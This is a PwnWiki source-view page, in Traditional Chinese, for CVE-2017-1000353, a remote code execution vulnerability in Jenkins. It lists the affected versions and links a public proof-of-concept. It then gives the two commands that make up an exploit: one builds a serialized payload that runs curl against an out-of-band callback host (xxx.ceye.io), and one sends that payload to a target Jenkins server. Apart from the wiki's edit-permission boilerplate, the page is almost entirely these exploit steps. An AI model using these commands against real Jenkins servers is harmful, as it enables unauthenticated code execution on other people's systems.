View source for CVE-2017-1000353 Jenkins-CI 遠程代碼執行漏洞/zh-hant

From PwnWiki

← CVE-2017-1000353 Jenkins-CI 遠程代碼執行漏洞/zh-hant

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page CVE-2017-1000353 Jenkins-CI 遠程代碼執行漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
==影響版本==
<pre>
Jenkins<=2.56
Jenkins LTS <= 2.46.1
</pre>

==POC==
https://github.com/vulhub/CVE-2017-1000353

<pre>
java  -jar  CVE-2017-1000353-SNAPSHOT-all.jar  jenkins_poc.ser  "curl http://xxx.ceye.io"
</pre>

<pre>
python exploit.py http://x.x.x.x:8080 jenkins_poc.ser
</pre>

Return to CVE-2017-1000353 Jenkins-CI 遠程代碼執行漏洞/zh-hant.

Retrieved from "https://pwnwiki.com/index.php?title=CVE-2017-1000353_Jenkins-CI_遠程代碼執行漏洞/zh-hant"